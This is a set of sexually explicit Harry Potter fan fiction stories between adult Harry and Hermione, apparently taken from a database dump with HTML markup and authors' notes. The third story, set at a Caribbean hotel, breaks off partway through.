Harry\nleaned forward again, this time kissing her on the lips, parting hers with his\ntongue, not teasing her, but kissing without any sort of restraint. Hermione\nresponded eagerly, running her tongue over his. She flattened her palms against\nhis sculpted chest. Harry pulled his mouth from hers and gently pushed her down\nso that she was lying on her back. He began once more his exquisite torture,\nkissing her mouth lightly first, then trailing down her neck to the valley\nbetween her breasts.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He took one hand and brushed\nhis thumb over her hardening nipple, while his mouth found the other one and\nhis tongue danced over it. Hermione arched her back in pleasure, and he gently\ntugged on her nipple with his teeth, taking care not to hurt her in any way.\nHermione moaned, and Harry moved to her other breast, taking care to show the\nsame attention so that she wouldn&#8217;t feel neglected. He began to kiss down her\nstomach, making them open mouthed, so that he could tease her with his tongue,\ntracing it around her belly button so that she drew her breath in sharply and\nsat up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I can&#8217;t take this\nanymore&#8230;.&#8221; She said and grabbed his face between her hands. She crushed his\nlips with hers, thrusting her tongue roughly into his mouth, she wanted him so\nbadly in that moment she could hardly contain herself. Harry pulled back and\ngrinned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think I win that round.&#8221;\nHe said. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What do you want for your\nprize?&#8221; Hermione purred seductively into his ear. She flicked her tongue out\nand licked it sensually. He groaned and pulled her against him. He began once\nmore to press long, opened mouth kisses to her mouth, her neck, her shoulders.\nHe reached up and pulled the holder from her hair, letting the long locks\nbounce down her back. Harry buried his face in her shoulder; he wanted to smell\nher scent, which was a mixture of apricots and vanilla.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;God, you smell so good&#8230;&#8221;\nHarry mumbled. It was now his turn to go mad as Hermione brought her lips to\nhis neck and nibbled on his skin lightly, loving his fresh taste that brought\nthrills to her body. She worked her way up to his lips, where she put all of\nher passion into her kiss, thrusting her tongue hungrily into his mouth. Harry\npulled her so tightly against him that there was hardly room for them to\nbreathe. Hermione brought her hand up his back, his neck and into his hair,\nwhere she proceeded to let his longish strands slip through her fingers,\nenjoying the silky but textured feel of his hair in her hands. She drew back\nsome so that she could take her hands and run them lightly up and down Harry&#8217;s\nchest once more, knowing how he loved to be so lightly touched.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry groaned into her\nmouth, and pressed himself harder against her body, pushing her back onto the\nfloor again and taking full possession of her mind, as she could think of\nnothing else than satisfying both of their needs. He reached down, and gently\ncaressed her torso as his hands traveled down to where she still wore her\npajama pants. He pulled his mouth from hers, and she opened her eyes and looked\nup at him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t stop&#8230;&#8221; she said\nsoftly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Never.&#8221; He replied, bending\nover and kissing her again. &#8220;Just need to get these off&#8230;.&#8221; Harry skillfully\npulled the waistband of her pants down, then completely off, exposing her long\nlegs. He then moved down, and took her right foot in his hands, first kissing\nher toe, moving his way up her leg, taking his time so that absolutely no part\nof her would feel ignored or unloved.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221; Hermione said,\nreaching up and grabbing his face in her hands. She brought him close to her.\n&#8220;You&#8217;ve already proved me wrong, you already showed me torture this evening,\nplease, I don&#8217;t want to wait anymore!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry smiled, and leaned in\nso that his face was just grazing hers. &#8220;Tell me you love me.&#8221; He said softly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I love you.&#8221; Hermione\nreplied, almost hypnotized by the deep pools of desire that were Harry&#8217;s eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Tell me you want me.&#8221; He\nthen teased, brushing his nose against her soft cheek, followed by a light\ntouching of his lips.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I want you.&#8221; Hermione&#8217;s\nvoice was barely audible, the amount of longing inside of her reaching levels\nshe could hardly contain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Louder.&#8221; He commanded,\nbringing his hand back up to her breast and gently running his thumb over her\nvery hard tip.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I WANT YOU!&#8221; Hermione\nscreamed at the top of her lungs, craving him so much it was almost painful.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Immediately following\nHermione&#8217;s outburst was a loud pounding on the walls, Harry&#8217;s neighbors were\nobviously annoyed. Harry found this hilarious, and buried his face in\nHermione&#8217;s shoulder, trying to muffle his laughter, while she caught a fit of\nthe giggles.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Guess we should be a tad\nquieter.&#8221; Harry said, grinning broadly at the onslaught of emotion he was able\nto bring from her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess.&#8221; Hermione said,\ncupping her hand around the back of his head and bringing it to hers. Harry\ncrushed her lips with his, stroking her in such a way she moaned into his\nmouth. Hermione reached down and tugged hard on his boxer shorts, pulling them\noff so that he was finally naked in front of her. She always loved to look at\nhim naked, his physique always reminded her of a Greek God. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I believe you have me at a\nslight disadvantage, Miss Granger.&#8221; Harry intoned softly. &#8220;I think I may have\nto do something about that.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mr. Potter, you may do\nwhatever you like.&#8221; Hermione guided his hand down to her silk panties and\nhelped him pull them off. Harry let them dangle from his hand for a moment,\nthen dropped them to the side on top of his boxers. He sat back and just looked\nat her, the sultry light from the fire danced off the curves of her body, and\nHarry felt himself respond physically to her beauty. Hermione noticed this too,\nand she raised herself up to kiss him on the lips, her one hand caressed his\nchest and the other moved down and pressed against his manhood, her slim\nfingers lightly stroking him. Harry closed his eyes and let her do as she\nwanted to him; thrilling sensations were rocking his body and now he knew how\nshe must have felt before, he wanted to be inside her now.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mione, I need you&#8230;&#8221; he\nbreathed, and she nodded and pulled him on top of her, their mouths meeting\nonce more in fiery kisses, their tongues attacking one another with absolutely\nno restraint.&nbsp; Harry raised his body\nwithout breaking away from her lips and positioned himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you ready?&#8221; he asked\nwith his mouth still against hers. Hermione nodded her consent, and Harry\npushed inside her, moaning at the way her body closed perfectly around him. He\nbegan to thrust, gently at first, then faster as she rocked her body to his\nmovements. Their mouths continued to meet in frenzied passion, as their bodies\nmelded together. Hermione ripped her mouth away to cry out, and Harry took this\nopportunity to push deeper, wanting to feel her very soul inside of him. She\nwanted to taste him again, and began to kiss his throat, his neck, his\nshoulder, anything she could get to. Harry relished the feeling of her mouth on\nhis hot skin, and he held on to her tighter as he rocked faster on top of her,\nbringing her body tightly against his. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt herself begin\nto reach the height of her passion, and she pressed her lips to his once more\nto muffle the loud sounds of the pleasure she was feeling. She kissed him so\nhard that she could feel her lips swell against his, and Harry gave a loud moan\nof satisfaction into her mouth and Hermione screamed as he drove into her,\nfilling her completely with his warmth. Harry&#8217;s stupid neighbors pounded on the\nwall again, and Harry quickly pressed his mouth back to hers so the sound was\nmuffled. He thrust once more, satisfying himself as well.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Completely spent, Harry fell\non top of her, panting heavily from his exertions. After a few moments of\nsilence between them, Harry raised himself back up and looked at her.\nHermione&#8217;s eyes opened as she felt Harry push off her, and her heart beat\nfinally began to slow down to it&#8217;s normal rate. Harry leaned over again and\nlazily kissed her, slowly and sensually. He rolled off of her and grabbed the\nblanket, covering her first and then bringing her body tight to his. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you going to do this\nevery time there&#8217;s a storm?&#8221; Harry asked.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Maybe.&#8221; Hermione leaned up\non one elbow and looked straight at him. &#8220;Why, you don&#8217;t mind, do you?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Not in the least.&#8221; Harry\ngrinned. And for the rest of that night, the storm outside wasn&#8217;t the only one\nthat was raging.</p>\n\n\n\n\n\n\n'),
	(86, 1, ' <br>\n\n\n<p>\n\n</p><p> A/N: Well, I\'ve been asked to do a cookie about Harry and Hermione\'s honeymoon from Return to Me, so I decided to do one ;) </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Nappa, you had better like this one&#8230; ;) </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> Ryoko, thanks for helping me out so much! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> And PLEASE PLEASE do not flame this. I worked very hard on it, as it\'s only my second NC 17 fic I\'m trying to make it as good as possible. If you feel you must flame, then keep it to yourself. I don\'t want to know if you think this sucked. Thank you, and enjoy reading! </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> &#8220;Finally.&#8221; Harry said, the dim lighting of the room making his eyes glow with desire. He moved forward and caught Hermione up in his arms, gently placing her on the bed. &#8220;I love you, Hermione.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;I love you too Harry.&#8221; She was able to say before his mouth was on hers. Harry kissed her gently but passionately, and Hermione let out a soft moan into his mouth that made him press harder against her. As their tongues clashed with a mad yearning, Harry let his hands wander down her side, his fingers trailing lightly across the delicate silk and beading of her gown. He pulled his mouth away and looked down at her. </p>\n\n<p>\n\n</p><p> &#8220;Hermione&#8230;much as this dress looks absolutely amazing on you&#8230;&#8221; she interrupted him. </p>\n\n<p>\n\n</p><p> &#8220;It\'s time to take it off.&#8221; She finished. They both laughed. </p>\n\n<p>\n\n</p><p> &#8220;I\'d have to agree.&#8221; Harry said, pushing himself off her and then taking her hand in his and pulling her to her feet. He leaned in slightly and kissed her again, then took the laces of her dress in his hand, and swiftly tugged them loose, letting them hang limply down the front. He began to pull the dress softly down her arms, but she stopped him. </p>\n\n<p>\n\n</p><p> &#8220;I have something else to change into.&#8221; Hermione said slyly, pushing him back. With a mysterious smile, she grabbed a bag out of one of the suitcases and disappeared into the bathroom. Harry made quick work of yanking off his own clothing, tossing it on the chair across the room. He settled back on the bed with only his undergarments on just as Hermione cracked open the door and peeked around. </p>\n\n<p>\n\n</p><p> &#8220;I\'m nervous.&#8221; She said softly. </p>\n\n<p>\n\n</p><p> &#8220;Hermione, don\'t be nervous.&#8221; Harry said, getting up and coming over to the door. &#8220;You already know that you are the most beautiful woman in the world to me, and we\'ve already been sleeping together again since we found out who you were&#8230;&#8221; </p>\n\n<p>\n\n</p><p> &#8220;I know, but I don\'t normally wear things like this but I saw it a few weeks ago and I thought it would be perfect for tonight but now I\'m not so sure&#8230;.&#8221; Hermione was interrupted by Harry\'s lips on hers. </p>\n\n<p>\n\n</p><p> &#8220;Hermione, I\'m sure you look absolutely gorgeous in whatever you wear, even if it\'s a sack cloth. So come on out.&#8221; Harry said, grabbing her arm and tugging gently. </p>\n\n<p>\n\n</p><p> &#8220;No, no.&#8221; Hermione said, pulling her arm back. &#8220;Go back on the bed, I want to come over to you.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Okay.&#8221; Harry agreed, and then flew back to the bed. Hermione slowly cracked the door open, and stepped out of the bathroom, making her way towards him. </p>\n\n<p>\n\n</p><p> Harry felt his breath catch, and a lump as large as a golf ball lodged itself in his throat. His heartbeat quickened, and he felt oppressive heat make the vision of his beautiful wife waver before his eyes. </p>\n\n<p>\n\n</p><p> Hermione felt her palms get sweaty as Harry\'s eyes devoured her appearance. She wore a slinky ivory lace negligee, strapless, which clung to her like a second skin and if it weren\'t for her light olive toned skin, would have looked like she wasn\'t wearing any clothing at all. She\'d let her hair down from the veil, and the long dark curls hung down her back, two she\'d let fall down in front, and she reached one shaking hand up now to twist a lock in her fingers. &#8220;How&#8230;. how do I look?&#8221; she asked, scared Harry would think she looked too trashy. </p>\n\n<p>\n\n</p><p> Harry only stared at her for a few moments longer until he found his voice. &#8220;Hermione&#8230;you look&#8230;absolutely incredible&#8230;&#8221; his voice was husky with his desire for her. &#8220;I really mean it, you are so beautiful.&#8221; </p>\n\n<p>\n\n</p><p> Hermione felt her nervousness ebb away at Harry\'s sincere tone. He reached one of his hands out to take the fingers that were still twisting the curl. He pulled her on top of him, and brown met green as they just looked at each other for a few very long moments. Hermione brought her hand up to lightly trace the lines of his face, his jaw, and when he closed his eyes she brushed his eyelids with her lips. </p>\n\n<p>\n\n</p><p> &#8220;I love you, so much Harry.&#8221; Hermione said, her voice trembling slightly from the amount of emotions washing over her, relief, desire, love were only a few of the feelings coursing through her as Harry opened his eyes, then gently brought her lips down to meet his. His kiss at first was gentle and sweet, making all her fears about her slinky lingerie fade away. Harry\'s hands traveled lightly down her side, stroking her so that her body tingled where he touched. She let out a gasp as he brushed his hand up her stomach and to her breast, the combination of his fingers and lace creating sensations that made her body ache for him. </p>\n\n<p>\n\n</p><p> Harry absolutely loved the feel of her body responding to him. He brought his mouth back to hers, this time not holding anything back, kissing her as if he would never be able to again. His tongue plunged into her mouth, sweeping over hers and exploring her sweet taste with vigor. She returned the kiss with the same amount of lust, bringing her hand up to run through his untamed ebony hair. It was so soft, the way it slipped through her fingers. Her fingernails scraped lightly against his scalp. Tingles made their way down his body as he pressed harder against her, running his hand back down her side, making his touch as light as possible. He pulled his mouth away from hers to kiss her neck, breathing in the smell of the lilac of her perfume. </p>\n\n<p>\n\n</p><p> &#8220;God you smell good&#8230;&#8221; Harry mumbled into her shoulder, rolling her so that he was now on top, his breath tickling her skin. He began to press open mouth kisses to her, lightly suckling, and leaving faint marks. His mouth began the descent from her neck down her throat, and to her chest. He used his fingers to trace light patterns on the exposed skin above the lingerie, hooking his index finger into the lace. &#8220;I want to taste you&#8230;&#8221; he muttered. Harry pressed his mouth once again to hers and began again to trail his way down her neck, making sure to linger on the area that connected her neck to her shoulder, which was her sensitive spot. As he used his tongue to caress her, she gasped aloud and threw her head back, whimpering his name softly. </p>\n\n<p>\n\n</p><p> &#8220;You don\'t like that love?&#8221; Harry teased, pulling his mouth away and looking at her. </p>\n\n<p>\n\n</p><p> &#8220;No I do&#8230;I just forgot about how sensitive I am in that spot.&#8221; Hermione replied, bringing his head back down to hers, first brushing his lips lightly with her own, then deepening it by opening her mouth to his. Harry brought his hand up to gently cup her breast once more, squeezing it ever so lightly and then using his fingers to pull away the lacy fabric covering her body. As he peeled back the material, Harry began to kiss where he exposed her to the air. Hermione noticed how involved he was in pressing his mouth to her body, and she took the opportunity to roll over, bringing him underneath her. </p>\n\n<p>\n\n</p><p> &#8220;Not so fast&#8230;&#8221; Hermione said, looking down at him and grinning. &#8220;It\'s my turn.&#8221; </p>\n\n<p>\n\n</p><p> &#8220;Wha&#8230;&#8221; Harry\'s voice was cut off by Hermione covering his mouth with hers. His arms encircled her waist and her lower half was pressed down against his as their lips came frantically together in waves of passion. Hermione ripped her mouth away from his to trail opened mouth kisses on his neck, and onto his chest, using her tongue to taste the essence of his body. She brought her hand down and ran her index finger along the elastic of his undergarments, pulling it out and letting it snap back. </p>\n\n<p>\n\n</p><p> &#8220;Ow&#8230;what are you doing?&#8221; Harry breathed, hardly able to find his voice. Hermione looked up at him devilishly. </p>\n\n<p>\n\n</p><p> &#8220;What do you think I\'m doing?&#8221; she asked softly, bringing her mouth back to his for a brief kiss before drawing back and using both hands to pull the garment from his lower body. She tossed off the side of the bed and just looked at him for a few long moments, making him shiver in anticipation of what she was going to do. Hermione kissed him again, while she brought her hand down and closed it around him, first using her fingers lightly to caress, a moment later replacing them with her mouth. </p>\n\n<p>\n\n</p><p> Harry reached both hands up and grasped the wrought iron bed frame, gripping it tightly in his hands. His breathing grew harder as his heart began to pound faster. &#8220;Herm...IONE!!!!&#8221; his voice went from a husky whisper to loud as he felt her tongue sneak out and flick against his manhood, her mouth moving up and down teasingly, making him cry out in pleasure. </p>\n\n<p>\n\n</p><p> Harry watched her move up and down on him; his breath coming in short ragged gasps. &#8220;Hermione&#8230;I think I\'m going&#8230;&#8221; Hermione pulled back, taking her mouth away from him. </p>\n\n<p>\n\n</p><p> &#8220;Going to what?&#8221; she asked. </p>\n\n<p>\n\n</p><p> &#8220;Why did you stop?&#8221; he asked, panting. </p>\n\n<p>\n\n</p><p> &#8220;I didn\'t want you to&#8230;blow it&#8230;so early.&#8221; Hermione said slyly. Harry stared up at her a moment, then flipped her back over so that he was once again on top. </p>\n\n<p>\n\n</p><p> &#8220;I find it interesting that I\'m completely naked here&#8230;. and you\'re not&#8230;&#8221; Harry said, brushing a light kiss across her lips. &#8220;I think we need to do something about that&#8230;&#8221; he felt her body lift beneath his as he began to gently peel off the lacy lingerie. The rush of air in the room hit her body as Harry drew the article down her legs, and then dropped it on top of his own garments. He immediately came back down on top of her, crushing their mouths together, their tongues sweeping across each other\'s mouths. He brought his hand back up, strumming her erect nipple with his thumb, taking his mouth from hers and covering her other breast with it. </p>\n\n<p>\n\n</p><p> &#8220;Harry&#8230;.&#8221; Hermione breathed his name almost silently, his mouth on her felt so amazing. His other hand continued to caress her, and then he switched, letting his mouth suckle on her other breast while his hand gently caressed her side. </p>\n\n<p>\n\n</p><p> After a few moments of paying attention to her breasts, Harry moved back up to capture her lips in his, cupping one side of her face in his hand. His fingers found a few of her curls, and he twisted the silky locks between his fingers. His other hand ran down the length of her torso, coming to rest on her inner thigh. Harry lightly drew his fingers around in a circle for a few moments, and then came to rest on her sex. He slipped a finger inside of her, stroking against her tiny button that made her gasp loudly into his mouth. Harry began to use his finger to thrust in and out of her, preparing her body for what was to come. </p>\n\n<p>\n\n</p><p> &#8220;Harry!&#8221; Hermione cried out loudly, ripping her mouth from his. Her breathing grew louder and faster as his rhythm increased. </p>\n\n<p>\n\n</p><p> Harry could hardly hold back as her cries became more insistent. He removed his finger and kissed her again as he positioned himself over her. </p>\n\n<p>\n\n</p><p> &#8220;Are you ready, love?&#8221; he asked, looking down at her. Her eyes opened and she grabbed at him. </p>\n\n<p>\n\n</p><p> &#8220;Yes&#8230;right now&#8230;&#8221; she replied, crushing his mouth to hers. Harry deftly slipped inside of her, marveling as always at the way she always folded so tightly around him, the most perfect fit. </p>\n\n<p>\n\n</p><p> &#8220;Just&#8230;. just a little more&#8230;&#8221; Hermione was able to gasp out. &#8220;Oh...that\'s it&#8230;that\'s good&#8230;&#8221; Harry nodded; he couldn\'t seem to find his voice. He began to thrust himself this time, rocking her body gently at first, then increasingly harder. He buried his face in her shoulder as his own cries became louder as their passion reached even higher than before. </p>\n\n<p>\n\n</p><p> Hermione clutched onto his back as she lifted her hips against his, inviting him to drive into her even harder. Her nails scraped lightly on his skin, creating even more of a sensation than before. She was approaching the edge, she could tell, and her cries became even louder. </p>\n\n<p>\n\n</p><p> Harry felt her moving harder beneath him, her head was thrown back on the satin pillow, and her back was arched beneath him when she screamed her release, he drove tightly into her once more and felt his own powerful passion coming to a head, he cried out her name and collapsed on top of her, both were panting and covered with sweat. </p>\n\n<p>\n\n</p><p> He was far off in his own world to move for a few moments, the feeling he got from coming down from being intimate with Hermione was one of the best in the world, and he wanted it to linger as long as possible. Still in his haze, he raised his head to lazily press his mouth to hers. </p>\n\n<p>\n\n</p><p> &#8220;You\'re amazing, you know that.&#8221; He said a few moments later, his lips still against hers. &#8220;You never fail to overwhelm me, with anything and everything.&#8221; </p>\n\n<p>\n\n</p><p> Hermione\'s warm brown eyes stared back up at him, her senses still far off and away. &#8220;That goes double for you, love.&#8221; </p>\n\n<p>\n\n</p><p> He rolled off the top of her, bringing the silken sheets up and around them quickly so she wouldn\'t get cold. </p>\n\n<p>\n\n</p><p> &#8220;I bet if we work really hard&#8230;&#8221; Harry said softly into her ear as he drew her into his arms. &#8220;We could stay in this room and not leave it till tomorrow afternoon&#8230;&#8221; he nuzzled her neck. </p>\n\n<p>\n\n</p><p> &#8220;Harry&#8230;I\'m betting it\'ll be at least two days before we even get out of this bed&#8230;&#8221; Hermione said, turning over and looking at him. </p>\n\n<p>\n\n</p><p> &#8220;Shall we start now?&#8221; Harry asked, kissing her nape and making her shiver. </p>\n\n<p>\n\n</p><p> &#8220;Need you ask?&#8221; Hermione grinned, and rolled him back on top of her. It was going to be a great honeymoon&#8230;. </p>\n\n<p>\n\n</p><p>\n\n</p>\n\n<p>\n\n</p><p> (A/N: Well there you have it&#8230;I don\'t know how many more of these I\'ll be doing as they take me FOREVER to write&#8230;. but I hope you enjoyed it, thanks for reading and don\'t forget to leave a review, NOT a flame!) </p>\n\n<p>\n\n</p><p>\n\n</p> '),
	(87, 1, ' <p>A/N: Well here you go, RYOKO, your shower scene you asked for. Thanks for helping me out with it!</p>\n\n<p>This goes in the Hogsmeade Pizza universe, and it&#8217;s right as Hermione is trying to cheer Harry up after he gets the letter from his father while they are vacationing in the Caribbean.</p>\n\n<p>Happy reading, and PLEASE don&#8217;t forget to review! Please, pretty please? :D</p> The Games We Play <p>Harry&#8217;s hand was resting on her waist, his thumb stroking up and down absentmindedly on her back through her shirt. Hermione smiled to herself and tried not to fidget as he dutifully filled out the information on the hotel slip. </p>\n\n<p>At the next station, Oliver Wood was trying to fill in his own slip, but his eyes kept darting to Hermione&#8217;s legs sticking out beneath her short skirt she was wearing. She was gorgeous, that was for sure. Oliver bit his lip to keep from smiling as he noticed Harry&#8217;s hand on her waist, as if staking his claim.</p>\n\n<p>&#8220;She&#8217;s pretty.&#8221; Jenn was saying. &#8220;Don&#8217;t you think, Oliver?&#8221;</p>\n\n<p>&#8220;Uh&#8230;yeah.&#8221; Oliver muttered. He bent over the slip once more as Jenn sidled up next to him.</p>\n\n<p>&#8220;Hurry up&#8230;&#8221; she whispered in his ear. &#8220;I can&#8217;t wait to see our room.&#8221;</p>\n\n<p>&#8220;Right.&#8221; Oliver said, grinning at his girlfriend, his thoughts of Hermione flying from his head as Jenn leaned against the counter.</p>\n\n<p>Hermione drummed her nails idly on the counter as Harry signed the slip with a flourish. The clerk took it and handed them two cards, one of which Harry handed to her.</p>\n\n<p>&#8220;What the hell are these?&#8221; she asked, turning the card over in her hand.</p>\n\n<p>&#8220;Apparently some sort of key.&#8221; He replied. &#8220;Strange, how these Muggles do things.&#8221; Harry added quietly. Oliver and Jenn joined them a few moments later. &#8220;What are you two up for tonight?&#8221; </p>\n\n<p>Oliver looked at Jenn. &#8220;Want to go walk around the town for a bit?&#8221; he suggested.</p>\n\n<p>Harry nodded. &#8220;Sure, that sounds great&#8230;how about we meet up in ten minutes?&#8221; he asked as they approached their adjoining rooms.</p>\n\n<p>&#8220;Okay&#8230;&#8221; Oliver and Jenn waved as they disappeared into their room. Harry turned to their door and shoved the key in the tiny slot.</p>\n\n<p>&#8220;How the bloody hell did they do that thing?&#8221; he muttered as the door buzzed but refused to unlock. Harry jammed the card back in and yanked it out quickly, but the door still remained locked. He looked up at Hermione who was smirking. &#8220;Think that&#8217;s funny do you?&#8221; he asked.</p>\n\n<p>&#8220;Quite.&#8221; She answered, taking her own card out of her pocket and sliding it into the slot. A moment later, she pulled it back out and the little light on the lock turned green. &#8220;Ta da!&#8221; she announced, opening the door. Harry stared at her as she picked her up her small bag and proceeded inside.</p>\n\n<p>&#8220;How did you do that?&#8221; he asked, bringing in his own suitcase and settling it against the wall.</p>\n\n<p>&#8220;I followed the instructions on the back of the card.&#8221; She replied smartly. &#8220;It&#8217;s really not hard.&#8221; Harry flipped the switch and soft, dim light filtered through the room. Hermione&#8217;s eyes widened in appreciation as she glanced around, taking in the large, king size bed, the open doors to the balcony outside, and the large hot tub in the bathroom. &#8220;What a room&#8230;this must be where celebrities stay&#8230;OOOH!&#8221; she let out a squeal as Harry grabbed her around the waist and spun her body up against his.</p>\n\n<p>&#8220;Who cares where celebrities stay?&#8221; he asked as he pressed his mouth against hers.&nbsp; Hermione immediately wrapped her arms around his neck as he slid his hands around her and up her back. She kissed him back with a passion that surprised even herself. Harry began to back her up so that he could push her against the wall, but Hermione stumbled over his suitcase and would have fallen if it weren&#8217;t for his grip.</p>\n\n<p>&#8220;Ouch.&#8221; She muttered as she rubbed her ankle. &#8220;I cannot believe you have a bigger bag than I do, shouldn&#8217;t it be the other way around? Will I have enough clothing for this weekend?&#8221; Hermione&#8217;s tone turned worried.</p>\n\n<p>Harry laughed. &#8220;I&#8217;m sure you will, and if you don&#8217;t, you can charge anything you want in the shops downstairs to the room. This whole weekend is on me.&#8221;</p>\n\n<p>Hermione&#8217;s lips curved up in a smile. &#8220;Everything is ALWAYS on you.&#8221; She said, poking him with her index finger.</p>\n\n<p>&#8220;You know what I like best on me?&#8221; Harry asked, his emerald eyes lighting up as he brought her body up to his again. &#8220;You.&#8221; </p>\n\n<p>Hermione snickered and raised her lips to his. &#8220;I&#8217;ll agree with that.&#8221; She said, as he whirled her around the room for a few moments then gently dropped her on the bed. She pulled on his shirt and he fell down on top of her, immediately ravaging her lips. Harry loved kissing Hermione; to him it was the greatest feeling, well, next to making love to her. </p>\n\n<p>After a few minutes of some deep, heavy snogging, Hermione suddenly pushed him away.</p>\n\n<p>&#8220;We forgot about Oliver and Jenn!&#8221; she said, looking up at him. Harry smirked. </p>\n\n<p>&#8220;I doubt we&#8217;ll be seeing them again tonight, you put those two in a room together and it&#8217;s only a matter of moments before they&#8217;re going at it.&#8221; At that moment, almost as if on cue, a loud thud was heard against the wall, followed by some feminine giggling. Harry looked back down at Hermione, an &#8216;I told you so&#8217; expression on his face. </p>\n\n<p>&#8220;I see.&#8221; Hermione&#8217;s own expression was one of amusement. &#8220;Maybe we should follow their example later.&#8221;</p>\n\n<p>&#8220;Later?&#8221; Harry asked, his eyebrows shooting up. &#8220;What do you mean, later, we were doing pretty well just a second ago&#8230;&#8221;</p>\n\n<p>&#8220;I&#8217;m hungry.&#8221; Hermione said, pushing Harry up so she could sit.</p>\n\n<p>&#8220;Oh.&#8221; Harry felt at a loss for words as she walked across the room to the table. &#8220;I&#8217;m hungry too.&#8221; He got up from the bed and came up behind her, resting his chin on her shoulder as she opened the menu. &#8220;Here get that.&#8221; Harry brought one hand around and pointed at the most expensive item.</p>\n\n<p>&#8220;I don&#8217;t need to get that.&#8221; Hermione said. &#8220;Besides, it cost too much. You&#8217;re just spoiling me.&#8221; She turned her head halfway and smiled at him.</p>\n\n<p>Harry pulled back from her. &#8220;Well if you don&#8217;t like it&#8230;&#8221; he turned away and started to walk back across the room.</p>\n\n<p>Hermione dropped the menu on the table and grabbed his hand. Spinning him back around, she kissed him hard. &#8220;I didn&#8217;t say I didn&#8217;t like it.&#8221; She pushed Harry back across the room, onto the bed. Practically leaping on top of him, Hermione straddled him and leaned down. &#8220;I don&#8217;t feel so hungry anymore, not for food at least&#8230;&#8221; she whispered in his ear. </p>\n\n<p>*** The Next Morning***</p>\n\n<p>Harry stretched as luxuriously as possible without waking Hermione, who was sleeping with one arm slung across his chest and her head on his shoulder. He smiled as he looked down at her, she was such an incredible person and he had never been happier since the day he searched her out. He leaned over to kiss her awake when a flourish of wings distracted him. </p>\n\n<p>A large white owl was swooping in the open window. Harry immediately recognized it as his family&#8217;s owl, Theseus. He groaned inwardly and sneaked his arm out from underneath his peacefully sleeping girlfriend.</p>\n\n<p>-Harry</p>\n\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I have arranged with your school that you shall return in two weeks time. The record of your test shall be taken from your record. Do not mess up this chance; it&#8217;s the only one you have left.</p>\n\n<p>-James</p>\n\n<p>Harry snorted as he read the note. &#8220;He couldn&#8217;t even sign it as Dad.&#8221; He muttered and balled up the note. He was about to throw it across the room when Hermione yawned loudly.</p>\n\n<p>&#8220;What&#8217;s the matter?&#8221; she asked, mid yawn. Harry silently handed her the ball of paper and rolled out of bed as she unfolded and read it. He went across the room to look out the window at the early morning sun of the calm, quiet <st1:place>Caribbean</st1:place> island.</p>\n\n<p>&#8220;My guess is that you don&#8217;t want to go back.&#8221; Hermione said, coming up behind him. </p>\n\n<p>&#8220;Good guess.&#8221; Harry replied. He folded his arms over his bare chest and sighed, thudding his forehead against the glass. &#8220;He&#8217;s trying to run my life again.&#8221;</p>\n\n<p>Hermione sighed too; she didn&#8217;t want Harry to feel bad. &#8220;I have an idea!&#8221; she exclaimed a moment later. She crumpled the note back up and threw it into the wastebasket. </p>\n\n<p>&#8220;What&#8217;s that?&#8221; Harry asked, turning around, a slight smile crossing his lips.</p>\n\n<p>&#8220;Well for starters, since we never got any food last night, let&#8217;s have breakfast in bed, then we&#8217;ll get our bathing suits on and go out to the beach&#8230;.&#8221; Hermione started.</p>\n\n<p>&#8220;I like this idea so far&#8230;&#8221; Harry wrapped his arms around her waist.</p>\n\n<p>Hermione grinned and continued. &#8220;Then we rent one of those&#8230;what do you call them&#8230;those little things you ride out into the ocean&#8230;. 